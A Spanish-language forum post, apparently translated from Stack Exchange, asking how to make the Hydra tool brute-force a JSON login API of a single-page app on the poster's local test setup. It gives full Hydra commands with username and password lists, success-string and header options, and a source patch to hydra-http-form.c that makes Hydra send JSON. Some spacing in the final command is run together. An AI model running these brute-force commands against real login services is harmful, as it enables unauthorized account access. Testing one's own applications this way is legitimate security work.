Estoy teniendo problemas con Hydra y una carga JSON.
La solicitud de inicio de sesión (interceptada con Fiddler), es la siguiente:
POST http://architectureservice.test.com/api/v1/login HTTP/1.1
Host: architectureservice.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Referer: http://architectureclient.test.com/
Content-Length: 51
Origin: http://architectureclient.test.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"username":"tester","password":"test"}
La Respuesta, en caso de una contraseña incorrecta, está realmente vacía debido a que se trata de una Aplicación de una sola página. El servidor devolverá un código de error 404 (No encontrado) o 405 en su lugar. En caso de que las credenciales sean correctas, se procederá a devolver una página 200.
Como puede ver, la solicitud fluye de un cliente a un servicio. En realidad, no hay un formulario en el servicio, toma en cuenta los parámetros rellenados en el cliente (esto es todo en mi máquina local, adaptó el archivo HOSTS). Cuando las credenciales son correctas, se creará una cookie (esta es la primera cookie, no hay ninguna cookie de sesión o algo antes de iniciar sesión).
Ahora, las credenciales se pasan en formato JSON. Mi comando Hydra tiene el siguiente aspecto:
hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND"
Sin embargo, esto devuelve que todas las contraseñas son válidas. ¿Es posible utilizar Hydra con formato JSON y una aplicación de una sola página?
ACTUALIZACIÓN Gracias a la respuesta de Iserni, pude construir el siguiente comando:
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive"
NOTA: Tenga en cuenta que no es necesario escapar de dos puntos en los valores del encabezado. De hecho, esto rompe el comando, por lo que no debe escapar de los dos puntos allí.
Intercepté esta solicitud con Wireshark, y se ve exactamente igual a la hecha desde Firefox, excepto por la carga útil de JSON. Hydra crea un cuerpo 'x-www-form-urlencoded'. Si intento codificarlo de esta manera utilizando una solicitud de Firefox (interceptada con fiddler), obtengo un error "no encontrado". Así que de hecho necesito poder crear un tipo de contenido JSON. ¿Es esto posible con Hydra?
Para aclarar las cosas, aquí hay una captura de pantalla de la captura de Wireshark: TodoesexactamenteigualquecuandoserealizaunasolicituddeFirefox,exceptoelencabezadoContent-Typey,porlotanto,tambiénlacargaútildelcuerpo(desdeFirefoxesJSON).
ACTUALIZACIÓN:SOLUCIÓN
hydra-v-V-L"users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive"
S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success)
H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do.
El comando anterior funciona, en caso de que adapte la fuente de Hydra de la siguiente manera (para Hydra 7.6): Alrededor de la línea 327 de hydra-http-form.c:
if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s",
url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
Como puede ver, tomé la solución más fea posible (cambiar el valor del encabezado codificado de "x-www-form-urlencoded" a "json". Iserni (vea la respuesta a continuación) sugirió un mejor enfoque, pero tengo algo de sintaxis errores y decidió simplemente codificar el valor json. Además, el tipo de contenido está codificado en varios lugares en el archivo hydra-http-form.c, cámbielo cuando sea necesario para su situación.
Ahora, puedes usar Hydra para aplicar las aplicaciones web bruteforce json.